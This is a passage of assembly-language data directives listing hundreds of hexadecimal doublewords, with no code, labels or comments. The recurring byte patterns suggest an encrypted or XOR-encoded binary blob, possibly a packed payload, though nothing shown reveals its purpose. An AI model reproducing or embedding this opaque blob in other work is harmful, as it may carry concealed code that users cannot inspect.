0AEB13350h, 50373D56h dd 0CBB13256h, 315336h, 6BD75375h, 7A21A2ADh, 0BAB12BD3h dd 5DBCDB56h, 69833256h, 63E3318Fh, 63231CEh, 0DAC989C0h dd 0EAB133DCh, 8E31C756h, 0A4353DBEh, 0B4B13253h, 0AEB13246h dd 9BA6A9B9h, 0D3B63A96h, 0CB37307h, 920B4C26h, 75B126BFh dd 73418A56h, 0E2A4ED59h, 0B973B241h, 254570FBh, 0D318AD74h dd 0D25872C5h, 0B5B13256h, 0B4641576h, 41317239h, 87353DBFh dd 5BB13252h, 0D3BE5216h, 0ABB13259h, 0D5B138BFh, 0EDF12156h dd 66B51436h, 0B54ED807h, 5DB130DFh, 0CF218056h, 585AC9D6h dd 0ABB582D2h, 3CD1CE56h, 0EAB13251h, 0BB67FC53h, 0ECC69E77h dd 0F9A6FAD7h, 0CFE802D4h, 57BDDB16h, 6F783256h, 0D609FA97h dd 19A15335h, 9231C642h, 0BB343DA6h, 0A1B13256h, 0A14AB330h dd 25353DD6h, 0CBB13252h, 0B3EBC704h, 0E9D0C1DDh, 659BF3D4h dd 0B2363D50h, 52B13256h, 0AEB130D2h, 0BED05256h, 0ABB13258h dd 8BEEA222h, 0E6B3E035h, 6583615Eh, 4FF140ACh, 5253C9D6h dd 0AEB51BD2h, 57BFDB56h, 8C673256h, 0FF2A02Dh, 0C5AF0A09h dd 60850738h, 0B552C9D6h, 5DB2D3D2h, 0CF445256h, 304AB330h dd 54353DB5h, 3CB13255h, 0EAB13250h, 0CE0A15C0h, 5931F9B9h dd 0DC4952A6h, 43D0409Ch, 0AC31533Ch, 45353D26h, 3CB13255h dd 0EAB13242h, 43607759h, 8862FB6Ah, 33E49FC6h, 0CB022415h dd 0B2617B1Ch, 0ABA5B159h, 51BE3256h, 0EAB13258h, 75B13BBFh dd 825AFB56h, 5A9B1DCCh, 25D7A11Ch, 0B431CB48h, 5031CBAEh dd 70353DEEh, 3B13257h, 75B1325Ch, 6BA2B68Ah, 0B5395042h dd 9031E2E3h, 0DA353D53h, 0A4B13257h, 0D5B12CD3h, 62BE5256h dd 75B13256h, 0BAB122BEh dd 0D28D0E56h, 3EED498Fh, 0D7D49381h, 0D81B056h, 0DAD06BCCh dd 0EAB13ED3h, 73343D56h, 0B5B13256h, 5DB132D7h, 838FB256h dd 56FFB659h, 0A2583256h, 17B13256h, 8D951F55h, 0C4858318h dd 0B03D3D36h, 0B4B13256h, 0AEB13253h, 4728BF45h, 4B0A54CDh dd 0EB3153BCh, 0CB353D3Eh, 89B13257h, 0E1E75216h, 3C45C7D6h dd 3A61B0A9h, 37D13440h, 2AD7E1DDh, 0B46F908Eh, 0F43A5437h dd 75B9BE59h, 3BBE3256h, 5DB13254h, 0C8D15336h, 3DDCF4D7h dd 16EE9D7h, 55D023E0h, 0E658CAB1h, 4AB13256h, 8C4554BDh dd 68EABE8Fh, 0C8CF70C9h, 0BF30C9D7h, 0AB7BB659h, 0B5D13256h dd 6757B330h, 14EF608Eh, 0BAB0BC59h, 3C443256h, 56AFB930h dd 3741D5D6h, 0CA4B8559h, 0D5B134BFh, 0C6EE1C56h, 13D0EA9Ch dd 7A30C9D7h, 5D27B659h, 24BE3256h, 57B13240h, 0ABB123BFh dd 0EC0E6556h, 0E9E748C3h, 27B6B0B7h, 6B1FE846h, 545871BFh dd 45B13256h, 4D6D0143h, 7714E0DAh, 0DAE4CE36h, 0EAB12AD0h dd 70595256h, 67B13256h, 748E97D1h, 0AEB4DA0Fh, 4DCD3256h dd 0F02A057Ah, 3C23CD37h, 12B724C4h, 0FC446FAFh, 34BECE13h dd 5DB13251h, 0AEB0B259h, 364D3256h, 0ABB6B859h, 6BD13256h dd 9C887DCAh, 89CCB137h, 1343D57h, 0B4B13250h, 0AEB13242h dd 3DB062D8h, 84D999A6h, 7D153DDEh, 967957CFh, 0C9B9DDB4h dd 0B12488DDh, 0D3BE3446h, 0AEB1325Eh, 57B3B259h, 0CAD13256h dd 573AC706h, 0ECA7A686h, 7F3E3DAFh, 0DAB13256h, 0D7BEE3DDh dd 0AEB13256h, 678D0B37h, 0ABBBB159h, 83D13256h, 0EA3D3D0Eh dd 14B13256h, 0E1333D0Eh, 0B4B13250h, 0AEB13259h, 765A1225h dd 0FCFE0B1h, 3B7235FFh, 8A4AAF61h, 0F513D1D6h, 31D077B0h dd 4D98C3ECh, 0A6585250h, 0DEB13256h, 1B925946h, 0B3D50E35h dd 0BAD0F9DDh, 75A5B959h, 30BE3256h, 5DB13258h, 0AEB13BBFh dd 0B554FA56h, 0C2346E68h, 573AD07Bh, 0ECA7A686h, 75B126BFh dd 6C2AE256h, 0E075387h, 60A6EFF6h, 976DF306h, 132C10AEh dd 0E58D0B68h, 0EABFDA36h, 51E3256h, 97B89AA2h, 312269D4h dd 0C8E5AE50h, 58E95336h, 0ABB136DEh, 0F2095456h, 0FA585336h dd 2AB13256h, 60FF3C65h, 0D67475AAh, 0AB33CD24h, 0F7FE498h dd 0AE1DBD59h, 5E483256h, 0FC2316ECh, 75A3DB50h, 1B8E3256h dd 3917D0EBh, 0B4647428h, 0EF7AF67Dh, 55A57F7Ah, 0D5B13EBFh dd 0F374BF56h, 291FCD38h, 0AFB7D503h, 7933B1B6h, 0BAB724C4h dd 0DD0F5436h, 0A6B6892Bh, 5CD02225h, 64BE5261h, 75B13255h dd 0DB4BB930h, 0B4A175DFh, 0AEB13258h, 6FA0CA33h, 977F3906h dd 4F5F2EF7h, 0E5E1F5D3h, 75B13BD1h, 0B5485256h, 5DB132D1h dd 25495356h, 4125E2D4h, 0ABB6DB50h, 81B03256h, 0D4543EA3h dd 45ADB92Bh, 0BF3C3D36h, 0E7B13256h, 0C4B1A18Dh, 37D9EDD7h dd 0F3D0054Bh, 0D5B7B559h, 0BDD13256h, 1471810Dh, 46B96DDFh dd 5DB5CBBFh, 0AEBDDB56h, 94C33256h, 67DE6FFDh, 0FCE5776Eh dd 0E1584550h, 0CBB13256h, 127A66B9h, 0CC2930F0h, 0EB76775Ch dd 57B130AEh, 443B5256h, 0D5B13DBEh, 77B11356h, 6508E308h dd 0AA5C372Dh, 86A05FD9h, 0B858530Dh, 58B13256h, 0ABB133D9h dd 9076CE56h, 0EAB133AEh, 0CED75256h, 43067000h, 790BB937h dd 0CEB724C4h, 84BA7E8h, 6A30542Eh, 56D08F00h, 0FC2316D4h dd 0F5BE2650h, 0BAB13258h, 5DB13BBFh, 46D44B56h, 0FA2327BEh dd 9C388B99h, 0C5F6BBAEh, 0E949B1AFh, 75CCB759h, 36BE3256h dd 5DB1324Dh, 0AEA4B059h, 47583256h, 71B13256h, 2624EF1h dd 387B5CFCh, 0C53640D5h, 0B566A0F1h, 5DB13CD6h, 60305256h dd 37D3CFDEh, 0ABB1B259h, 12D03256h, 0FC25E2D4h, 75B13050h dd 0B3595256h, 88B13256h, 5394C5B6h, 0C2DDAAA1h, 0BF596AAAh dd 0C3B13256h, 8D949341h, 827F57Fh, 2759924Eh, 0D598BCA0h dd 0A18A50AFh, 57B132D0h, 42D06A56h, 0D5B13241h, 0EAB0B759h dd 0F6483256h, 37BE30AEh, 5DB1306Dh, 0AEB0B959h, 0D44D3256h dd 0A4B1CA2Bh, 0D5B18DD2h, 0EAA0DB56h, 0F2563256h, 2AB08439h dd 0DC6C6054h, 0AEEB91E9h, 37EC638Ah, 0ABB13BBFh, 33BDD256h dd 0F9F30013h, 0DD038641h, 0FC073D37h, 5DBEDB57h, 3C9F3256h dd 9EA8D40Eh, 39CA1580h, 0EDEEE815h, 0EA319B48h, 0F0BE3256h dd 0BAB13202h, 8B305436h, 0CF443C3Bh, 57B9DB16h, 8FA53256h dd 11962B7Ah, 2324EC1h, 743A3D53h, 43B13256h, 5DB10BBFh dd 0AEBEDB56h, 2FC33256h, 0D80800C4h, 8C53FCCFh, 0EA5793F0h dd 60383DBEh, 0B5B13256h, 5DB13DDAh, 0AEBBDB56h, 0A5EB3256h dd 7E492B91h, 24EDD80Ah, 0EAB1CD7Bh, 9D32CE56h, 8558CA53h dd 0B4B13256h, 0AEB13253h, 0F68DFC5Dh, 0AA3E3D4Ah, 20B13256h dd 0EAA5DB05h, 8FB83256h, 0CF0FDE57h, 8489B2BBh, 0FF078D38h dd 71B871C1h, 313A81F5h, 0D3A7A686h, 0D9B5B9A3h, 0F4D169AFh dd 0BDE223BFh, 5D18534Fh, 0A1313256h, 57B1A8D3h, 0ABB9DB56h dd 1DFA3256h, 5BF90C4h, 9DD10332h, 0BAB13247h, 2C467E50h dd 0D7BE216Ch, 0B1606708h, 0DD06A866h, 43A5464h, 3C063D0Eh dd 15773137h, 0B5688D59h, 5DB134DEh, 0AE353D56h, 36B13256h dd 0A4B4F2D5h, 0D5B13BDDh, 203A5256h, 217BB330h, 38B25396h dd 5BA7A686h, 5BD17AAFh, 0DBBE5237h, 0ABB13250h, 0C166E9D7h dd 63D03E8Ah, 0FC493A11h, 0DCD13E11h, 0D5DAF9D7h, 47D0EADDh dd 57B13004h, 0ABB0BE59h, 0B5443256h, 0EAB135BEh, 3806C556h dd 98DD5DABh, 3BEBEADDh, 59D0C0DDh, 5B3D3D8Eh, 0A4B13256h dd 0D5B134D5h, 0EA3C3D56h, 8DB13256h, 4D48F47Dh, 5DA2DB8Eh dd 96A43256h, 265587C2h, 42EE233Fh, 6EE0A087h, 0F340406Bh dd 7071B1A4h, 0BAB9B759h, 0D4BE3256h, 0AEB13254h, 0D5B25336h dd 0ADA7A686h, 0B5D05236h, 0FF04D3DCh, 22D15337h, 30E8CBE4h dd 0A1F953B5h, 0CEB975DFh, 57BDDB04h, 4C2D3256h, 0BCC6E931h dd 0D9A7F179h, 0F4E9D7C1h, 0D55D71BEh, 1A385341h, 0A358525Ah dd 0B2B13256h, 0E439DD34h, 47F631EAh, 90064CE1h, 7411DB37h dd 89443256h, 1B3BCA96h, 23BE5257h, 57B13254h, 3D06D06h dd 69343DD6h, 12B13256h, 75B0B559h, 0B94D3256h, 5DB8DB90h dd 0A1F03256h, 0D17752B1h, 289F24A2h, 0C7583096h, 72B13256h dd 0FDB5D7E4h, 87782C1Ch, 44C3271Eh, 0AD5E71ABh, 57B089DEh dd 0A7583256h, 18B13256h, 604E9848h, 1E5D4EC4h, 0B14309B9h dd 6E353D8Dh, 47B13256h, 57B13245h, 157C75E2h, 5301F2B2h dd 3D039018h, 0AA1FB285h, 53C97A2Ch, 5DB1325Dh, 902437E5h dd 72D9037Bh, 212D37DEh, 0C0018CCCh, 931C750h, 0B6B2C757h dd 0B2F6BBAAh, 0DCD752AFh, 0C8ACAE95h, 0B804D4D7h, 0A7F6BB37h dd 0D559DBAEh, 69BE3256h, 75B13241h, 0BAB120BFh, 45CA1756h dd 0C87B0868h, 195144A3h, 6D359342h, 225941E4h, 0F8313D8Eh dd 15B13256h, 0BAB135BEh, 0C3B77C56h, 97C8F2B5h, 9D3A540Fh dd 0AB4E1737h, 5CBE3256h, 0EAB13258h, 75B13BBFh, 91EE3156h dd 42EC295Dh, 25D1A0BBh, 5C333DA7h, 42B13256h, 0D5B13250h dd 2EF25667h, 5ED06975h, 0A2333D90h, 0B4B13256h, 0AEB13245h dd 6945DC78h, 2EBF4A28h, 1FC37E65h, 56D82078h, 825EEC43h dd 0B13D3D8Eh, 0B4B13256h, 0AEB13250h, 0FD11F8F2h, 6B327CD7h dd 0D5A0DB54h, 2A1D3256h, 886F417Eh, 1D144DF4h, 1923D067h dd 27FCAD30h, 59583A11h, 0D6B13256h, 0E6F320A7h, 5F1E55h dd 90B512D0h, 0B6F6BB30h dd 5DA9BF59h, 0BD583256h, 9EB13256h, 513228EBh, 4B550EB5h dd 0A409FFA7h, 1CE2470Ah, 5349ADA5h, 5DB13244h, 0A557E88Eh dd 0AB75CCC2h, 69ADB5Fh, 0F0C7D258h, 3D01A60h, 75B1325Fh dd 38E1CB60h, 17C5F936h, 4778CE14h, 57B13245h, 0A789EFE5h dd 1FFC0008h, 2A9DEF29h, 487577FEh, 0DA8D8C03h, 527FB930h dd 6DD0E4E9h, 57B139BFh, 656B0256h, 593C3ECBh, 0B6C9FE79h dd 74333D03h, 4FB13256h, 52D1DEDDh, 0AEB134DCh, 57383D56h dd 52B13256h, 2975B137h, 0E45852AEh, 7FB13256h, 7D4BAD4Bh dd 7CA6A407h, 8633FA0Dh, 37D0C7F3h, 0ABB13DBFh, 0DA74E156h dd 2A1845CDh, 0BE735E59h, 4A238458h, 5DB132BEh, 44306856h dd 51A7FD7Ch, 95DF8D36h, 5ED70496h, 8CD153A4h, 0D563C0D7h dd 440BB937h, 0A1B724C7h, 0A158FB65h, 0BEB13256h, 6A973580h dd 0F1BBA40Ch, 0F529129Ch, 4A325D28h, 3C353D56h, 0B4B13253h dd 0AEB1325Bh, 46E53F71h, 15670C4Ah, 517574E9h, 8AB6B96Dh dd 75B3B659h, 0DBD13256h, 89CFEDD7h, 51D01A99h, 0D7BE3E23h dd 0ABB13251h, 0D5B0BA59h, 0E5443256h, 75B13BD7h, 5BE5256h dd 0B40E5484h, 0DB4E5389h, 5B353D5Eh, 0A4B13256h, 0D5B134DDh dd 0EA3A3D56h, 25B13256h, 0BABDB359h, 0D9BE3256h, 0AEB13250h dd 57B1BC59h, 434D3256h, 0D5B13B02h, 0E57139AEh, 75B17CD3h dd 0BD313D56h, 3DB13256h, 0FED5E0D6h, 503A530Dh, 0ABB120BFh dd 0D6E41256h, 273345B8h, 0BDC2A01Dh, 0CC9F145Ch, 52B7DF1Dh dd 0AEB124DAh, 57A0DB56h, 0F7AB3256h, 0EA1ECC57h, 6B0DA7A5h dd 4F92A73Eh, 53B0662Bh, 5DB13267h, 0AEB0BF59h, 0D4443256h dd 0A4492691h, 0D5B13CDFh, 0EAB8DB56h, 108C3256h, 45A03B02h dd 0B4B3D97Dh, 514ECD44h, 57B6B059h, 28BE3256h, 0D5B13257h dd 16F4BBAEh, 8AD0CE36h, 35BE3E23h, 5DB1325Ch, 0A1498036h dd 57B132D4h, 0DE4E5356h, 3330525Eh, 0BA73EE86h, 424E53A3h dd 0BAB120BFh, 0E7306C56h, 0BF13D527h, 0B70D0C94h, 0E4B15142h dd 3D95CD92h, 0EAB13AC6h, 75B0BE59h, 42493256h, 0D9BEF25Dh dd 0AEB13243h, 538ADBAAh, 28BE3256h, 0D5B13257h, 55BE52AFh dd 0AC3A54A8h, 46F4B937h, 52B60BAAh, 0AEB512D4h, 5C343D56h dd 0CBB13256h, 0DA798559h, 0EAB132DBh, 304E5356h, 36BE52AAh dd 5DB13241h, 0AEB123BEh, 67497C56h, 0FECE20EAh, 0C9789D2Eh dd 79FF0B20h, 7AEB7347h, 42D0FDE9h, 5DB54DD5h, 0AEF6B659h dd 0DDBE3256h, 0ABB1325Dh, 0D5B134BFh, 0FCB94B56h, 0F67BC68Ch dd 0B5B13E29h, 5DB11ED2h, 0A6343D56h, 58B13256h, 0ABB130D2h dd 3CD05256h, 0EAB132D2h, 75A1DB36h, 33F53256h, 0E8948DA5h dd 65330F5Dh, 9C443F18h, 690277FDh, 2A4E8A37h, 67BECDA9h dd 75B1325Ah, 0BAB7B259h, 0D2BE3256h, 0AEB13256h, 57B137EFh dd 0AA383D56h, 20B13256h, 2D199A5h, 75B1325Ch, 6E55F091h dd 36005DEEh, 0A758AD24h, 0FB13256h, 0F113941Eh, 0EBB0AE7Fh dd 90F5408h, 0C9585320h, 0B54ECDA8h, 5DB125D7h, 0AEA3DB56h dd 0F0F43256h, 41025F47h, 0F683FE7Fh, 2090F6FFh, 0DF2D0EEDh dd 0BFA14DD5h, 5D15B659h, 22BE3256h, 57B1325Eh, 0ABB3BA59h dd 0B4D13256h, 0ECA14DD5h, 7578B759h, 3EBE3256h, 5DB13272h dd 0AEB6DA36h, 0ADF23256h, 0CCF15F5h, 0C5586C56h, 7B13256h dd 2E8DBA20h, 4FFACCD3h, 31AB0EEFh, 0CFBB1049h, 0DCBE5217h dd 0ABB13253h, 8938D2E8h, 0EABDDB61h, 0A6773256h, 0E7984F97h dd 7F255D83h, 25D05337h, 31D13611h, 7A31FCDDh, 5EBE5380h dd 0EAB1325Ah, 75B7BF59h, 3BBE3256h, 5DB13256h, 0CEBD6DDDh dd 5845E0E9h, 0A666B319h, 0B4BFF065h, 0EAB301BFh, 75BDDB56h dd 82223256h, 8928C24h, 0F6EC98D2h, 103ADA4Dh, 0C2085252h dd 54DAF96Eh, 0B8E8C08Fh, 2A3A5334h, 3DBE525Ah, 5DB13241h dd 0AEB123BEh, 549D3456h, 0FA20B321h, 0DC2EF0EEh, 0C094602Ch dd 0CDEA0293h, 0B4A3C42Bh, 5C52DB37h, 25483256h, 0D0BE3611h dd 0ABB13257h, 0D9EEB9A3h, 0EAB120BFh, 7E014956h, 44EB6B38h dd 198C1F64h, 22FBD4EDh, 6CCCA234h, 2EBE3A09h, 0D5B132A4h dd 0EAB135BFh, 96B256h, 4F9E59FAh, 55595204h, 0ECB13256h dd 0EB3555DCh, 4247C7B0h, 0D5B13251h, 598FF181h, 2E9B3A5Bh dd 0BAB135BFh, 0C8B8D56h, 59C710C5h, 53E6B937h, 0BBE419AAh dd 69095436h, 8BBA8227h, 7AA56755h, 0BAB12BDDh, 5DA5DB56h dd 8D8E3256h, 0EE523F72h, 41B6B8B4h, 6BAAE483h, 0E2E12DFCh dd 2A3A3561h, 0BABDDB5Ah, 550C3256h, 937F08ACh, 72BB4331h dd 719A4404h, 0D5B135BFh, 0C5CC2556h, 0E40FC241h, 0B5B4D9D5h dd 5DB135D9h, 0AF3D3D56h, 0AEB13256h, 7D3A5436h, 0B4CEF0D6h dd 8CE0520Ch, 2BEA96EFh, 7A5853A3h, 0B4B13256h, 0AEB1325Ch dd 0F8478E22h, 0DFA1FE91h, 5BBE04AFh, 0EAB13278h, 75BFDA36h dd 3B9B3256h, 0E154A898h, 73EFC327h, 0A90381E3h, 0ABA2DB08h dd 0BFDC3256h, 837A11E2h, 42A5966Dh, 0EB58ED25h, 3D44B236h dd 0E93A5352h, 0ECD75252h, 0CBD121D9h, 0B4D0C737h, 3BD6DDDh dd 75B1325Fh, 364323A4h, 717907FCh, 0F19ACBABh, 57B4DB52h dd 79613256h, 0DA1FC337h, 0EAB13ADBh, 13495256h, 0D187E4D7h dd 585AB137h, 47758136h, 57B1325Eh, 3A529715h, 0D5E22475h dd 0EABCDB37h, 0D7D63256h, 3A2BEC7h, 28086EE4h, 0AD288A58h dd 4796E3DCh, 20BE5250h, 0D5B13250h, 0EAB1B159h, 0F9BE3256h dd 0BAB13254h, 0DED05336h, 0A1B22229h, 57B10ED3h, 0A3393D56h dd 0B5B13256h, 207D8D30h, 15D044E0h, 0BAB3B859h, 0AE003256h dd 0AEBEDB36h, 70C03256h, 992D56BAh, 0BC68BF85h, 7BA6349Fh dd 0BF3A54F9h, 0B5F05337h, 5DB136D4h, 763A5256h, 0AF681937h dd 0AAB06EDFh, 2A4E8AAAh, 0FE58CDA9h, 0B4B13256h, 0B92623C7h dd 7E6A31E6h, 4FAD5036h, 0D65AF233h, 53CC30EBh, 0D5B137EFh dd 6EBE5256h, 75B13254h, 49D0C5DDh, 5DA1DBFDh, 3B073256h dd 9B9F2EB7h, 52E82DFFh, 65452AB7h, 6A58107Ch, 7A4ECDADh dd 0BAB13ADCh, 5F333D56h, 0CEB13256h, 5E585337h, 28B13256h dd 2CB85E9Ah, 0D0767FE7h, 93305236h, 0C730FD65h, 3D785337h dd 0AEB13CBFh, 0A2219856h, 0B7AFEA6h, 0B4720273h, 32C2AA6h dd 75B1325Fh, 1ED36A88h, 0D5507B4Bh, 0BE7353F7h, 58E4CA56h dd 0ABB12AD0h, 8EE75256h, 0EAB13CBEh, 5BD67656h, 7816D2F3h dd 1CD5CD52h, 0F0F96589h, 58363D37h, 42B13256h, 0D5B1325Ch dd 0ECBFE996h, 406DF608h, 563ADE3Ch, 0A175B1AAh, 0AB5852AFh dd 0D7B13256h, 0BFBE4AE3h, 0D5B132BEh, 306856h, 73A7E72Ch dd 3ACBAAh, 5BA7A3A8h, 0CE4D52AEh, 0EC76B330h, 98D053CBh dd 0D5B4DB9Fh, 0F9A53256h, 0F6415237h, 3EBE3269h, 5DB13102h dd 57B6B9A3h, 37BD47A9h, 6C666DECh, 0D5BADA7Eh, 593B3256h dd 79BBBCCFh, 4D6AD5C6h, 0A2D06DE0h, 0A5583A23h, 0DEB13256h dd 5C2CA93Bh, 39FF46Eh, 61BE5EB8h, 75B13246h, 0BAB139BFh dd 11308A56h, 6CB43CAEh, 0DE806E7Ch, 0A03A3D06h, 3CB13256h dd 0EAB13250h, 0E48D2C91h, 0B6580410h, 0C2B13256h, 0BA630782h dd 0E67F5443h, 432F72E2h, 0D5B13142h, 0EABFB859h, 7AD13256h dd 0BAB132D7h, 0D756B356h, 0CFAF9F66h, 0D2BEF25Dh, 0ABB13246h dd 29B6B9AFh, 0EAB110BFh, 74353D56h, 43B13256h, 52A5F5D5h dd 0AEB13ED7h, 513A3D56h, 0A4B13256h, 0D5B132D0h, 15F0DB56h dd 0FC49CDA9h, 454DCE13h dd 0A2483E23h, 22BE3A23h, 57B13244h, 4240B936h, 0D5B1325Fh dd 8F4DF296h, 22D7FE6Bh, 8D4E53CFh, 5F13DAAFh, 0A1583256h dd 92B13256h, 6495E7E6h, 0AB10FC00h, 9AD7AD2Fh, 0B5BA80F3h dd 0BAAAB659h, 4D583256h, 20B13256h, 34178952h, 10DC9B4Ch dd 0B17DEFFh, 36A586Ch, 75B1306Ah, 46F4B9AEh, 5B353D36h dd 2FB13256h, 5063EA8Dh, 783A545Eh, 0D9383D37h, 3B13256h dd 75B13251h, 0AA39C850h, 6476F086h, 0A3333D51h, 37B13254h dd 54D0C8DDh, 56BECE13h, 0EAB1325Ah, 0BDCD8836h, 0B60F310Ah dd 3CEDC0ADh, 0AEB54DD5h, 5789B659h, 0BB583256h, 63B13256h dd 0F3E374A3h, 8BB11E4Bh, 7CD7AFCEh, 0DE4C4B6Ah, 0A1B13E29h dd 57B12BD2h, 0ABB9DB56h, 0A8F43256h, 44EE92D3h, 3D58E9AAh dd 0B5B13256h, 5DB133D7h, 5109CE56h, 0BE4ECDA9h, 0ABB13259h dd 547129A6h, 0FD4114D2h, 0D8013F9Dh, 3CBA823h, 5DB13253h dd 0AEB0B359h, 0A4493256h, 5C3052FDh, 83422A47h, 8B60B930h dd 8A4FD0BFh, 0BAB4DBA9h, 0F7CF3256h, 2D47FA09h, 58B42229h dd 0ABB158D2h, 0D5A1DB56h, 570E3256h, 0B6EB4E36h, 43E3D445h dd 3EEA222h, 0D132E035h, 0D2BE3446h, 0ABB13222h, 0D5B0BD59h dd 0AB443256h, 71F6B9AAh, 460E5436h, 5DA3DBC6h, 4E873256h dd 0BF960F58h, 0AADC4DCCh, 0B7AF67CBh, 2A97E6ECh, 79EEB937h dd 7331CA36h, 9658534Bh, 47B13256h, 57B13259h, 0F5E46FFFh dd 0F2B1CFh, 0E6E5E023h, 0FED7ECECh, 3DBE3611h, 5DB13257h dd 0A2EEB9A3h, 287EB336h, 42A49021h, 0D5B1325Fh, 2B67398Eh dd 0BBEF023Ch, 3D58538Fh, 0A8B13256h, 0CEB575DDh, 0BE6A8D59h dd 0ABB13247h, 0C88C0EBCh, 87AFF47Eh, 0BE92863Ch, 0AE15093Fh dd 23A5361h, 693A525Ah, 57B122BFh, 728CD256h, 0BC97AD6Fh dd 8FCDB31Eh, 0DDD9ACEBh, 0E59A53EBh, 0B632CA52h, 0AEB6DB53h dd 0F7EC3256h, 61BFE591h, 0C5CEB1A4h, 0C5343D55h, 15B13256h dd 0BAB137BFh, 7A350256h, 653A791Fh, 47585237h, 0F2B13256h dd 0EB0BDE4Bh, 5C5F72B2h, 342C6764h, 0DA0DDD80h, 3B2DFFD6h dd 0CFD0C9DDh, 8E9ACE17h, 310E5436h, 8938537Ch, 62BE3357h dd 75B1325Ch, 0B5D05236h, 5DB132DDh, 51095356h, 0A24ECDA9h dd 0ABB137EFh, 36305256h, 0C17C911Ah, 0DE42CE37h, 0BAB0BA59h dd 0B4483256h, 514ECF21h, 57B139BFh, 2990FE56h, 0CCAE5B91h dd 543EB9B6h, 75B4DB37h, 63EA3256h, 94D511A9h, 543A5436h dd 0A557B330h, 0A37353ADh, 0DF595256h, 14B13256h, 861C7CFDh dd 67E75E55h, 27FB8EBh, 0CF488559h, 423C3D03h, 42B13256h dd 0D5B13246h, 5056CB21h, 62474631h, 7A0503D7h, 24C22B36h dd 0BA58DEDDh, 0D3B13256h, 3667FDF2h, 0D0952912h, 3C43D166h dd 429E2FCCh, 399B1372h, 5158CE92h, 72B13256h, 2964F008h dd 87236813h, 0B592F739h, 0EAB126BFh, 8E779D56h, 78851E87h dd 18DC995h, 0DBE7A6D5h, 2830AF43h, 0A3F4B95Ch, 0BB085236h dd 8BE7E79Bh, 75B3B859h, 0E3E33256h, 51F40937h, 0AEC9B059h dd 6C443256h, 2CBE2213h, 0D5B13238h, 0EAB121BFh, 8CB65D56h dd 1C2A7281h, 0CF6F3C15h, 0D909BE3Eh, 91CFD64Ah, 0ABBFBF59h dd 0DC583256h, 0FDB13256h, 0B7C89969h, 6A814E40h, 5D4D7791h dd 0A1B13256h, 57B13CD5h, 78305256h, 0F181B1AEh, 0EAB1B859h dd 9CD03256h, 0BAB1320Fh, 5DADB959h, 47D13256h, 57B13245h dd 1AC8511h, 67FBF62Ah, 8973A699h, 0CEED3C0h, 0EB4118D8h dd 18765308h, 0AEB133AAh, 56383D56h, 52B13256h, 0B4D15236h dd 0EA17C5D7h, 0FFD012D0h, 0AC585386h, 0B4B13256h, 0AEB13247h dd 94B5E402h, 55CFFEC3h, 50F93D8h, 104B7D6h, 705853F2h dd 30B13256h, 387D98DBh, 0A14D77DDh, 57B13EDEh, 0AD333D56h dd 0DAB13256h, 0EAB132DBh, 7358FB56h, 0DBB13256h, 801161E0h dd 0BF363D41h, 0BEB13256h, 0ABB1325Ah, 33D9AE0Ch, 0F00BA27Fh dd 695106ACh, 0DAB13E94h, 0DF52B330h, 0AD353D74h, 31B13256h dd 0FED0F8DDh, 0D5B13CBFh, 768AF356h, 0D2DF032Dh, 8415E766h dd 0D6594C78h, 0A6393DBAh, 58B13256h, 0ABB130D6h, 56D05256h dd 3D1CE92h, 75B13251h, 414DFC9Dh, 0B4ECC751h, 0AEB13242h dd 0C69F6999h, 91FAA716h, 1F86E703h, 0E69373A7h, 4AAEAD7Eh dd 53D15237h, 5DB13259h, 12135A1Eh, 22922CB2h, 7117E6h dd 2055F2CEh, 0EAB9DB37h, 0AF5A3256h, 7EBB04E1h, 5D59179Eh dd 0F4B13256h, 8C9DD8D7h, 0CDD13440h, 0DB58EADDh, 0ADB13256h dd 7709232Eh, 22A70BCh, 94DA74CAh, 9D445376h, 0A93A529Fh dd 0CBD06D01h, 0ED62B330h, 0E10A5432h, 0AE8253BFh, 0BABBB259h dd 0FD13256h, 1C5BB30Fh, 36967448h, 0ABB13FBFh, 0F6DC156h dd 4E220184h, 0C2DF333Ah, 0E73817BCh, 0E73ACBAAh, 0A8A7A3A8h dd 57B13ABFh, 0A78BC256h, 9177876h, 0EA8EB149h, 7792B659h dd 3FBE3256h, 5DB1325Ah, 0AEB7B559h, 0D6BE3256h, 0ABB13256h dd 0DA4E0DD5h, 0EAB117D3h, 0B232CB56h, 0BABEDB42h, 41163256h dd 6A4E96A2h, 2E78679h, 0D63AEC4Fh, 6B58CA6Dh, 0E54ECDA9h dd 75B133D8h, 0C532CE56h, 0D9BE3252h, 0AEB13279h, 57B6DBAEh dd 58F33256h, 24A96698h, 0E6CEB171h, 6D353D56h, 0B5B13256h dd 5DB133DEh, 8E58CA56h, 0BEB13256h, 0ABB13251h, 21580AE6h dd 158A4C05h, 0F648CE13h, 33BE2691h, 5DB13257h, 51DADBA3h dd 0D444CDA9h, 0A4B42229h, 0D5B15FD2h, 0E63B3D56h, 7AB13256h dd 0BAB134D1h, 5D3C3D56h, 2DB13256h, 58B72229h, 0ABB1B0D3h dd 30055256h, 61BECB36h, 75B13256h, 53F05337h, 5DB1325Ah dd 0FBFBCBB6h, 0BBB70E33h, 9F14C863h, 0DAB575DDh, 0EAB136DFh dd 903B5256h, 0B6EEB937h, 5DB121BFh, 0D3524356h, 4EF0A455h dd 611B2934h, 0C295AFA0h, 8833B8D9h, 75B18ABFh, 42E05256h dd 1A3A530Fh, 0AEBEDB52h, 0E7853256h, 35855ABCh, 64396317h dd 1D2ABD78h, 79EEB9A0h, 0BAB13EBFh, 6138A556h, 33CAFA9Ch dd 0E9C9BC41h, 0ABC2DBBFh, 5E4D3256h, 61443611h, 13D13E09h dd 528A24E8h, 5DB1325Fh, 0E091C20Fh, 9892AA02h, 0F0D05289h dd 0DC595237h, 0BAB13256h, 11B21941h, 0AEF1B893h, 76D06CAEh dd 2DBE3609h, 57B13257h, 0AE5AB1AFh, 0D5B0B059h, 0E5443256h dd 75B13ED9h, 0BC3F3D56h, 52B13256h, 0AEB132D2h, 47CEB156h dd 0B9343D55h, 0DAB13256h, 0EAB13BDAh, 7A445256h, 0BAB132D8h dd 1C445356h, 0A16819AAh, 57B13AD7h, 0A9373D56h, 0B5B13256h dd 0EBEDBB37h, 0CAD15257h, 9A1F19D9h, 3CD15237h, 9068B330h dd 0EFD05368h, 544ECDA9h, 0D5A1BD59h, 0E1583256h, 0FCB13256h dd 0C8F0132Bh, 14459DFBh, 0AB0875BCh, 37B13256h, 0A8098A01h dd 0B4EB20FEh, 0F95899A5h, 3FB13256h, 0DDE4EEB2h, 1E14D18Fh dd 0E1DCC7C1h, 3A0FA61Dh, 49581B5Ch, 0B54ECDABh, 0EAB1B359h dd 0F1BE3256h, 0BAB13256h, 0DFBE5337h, 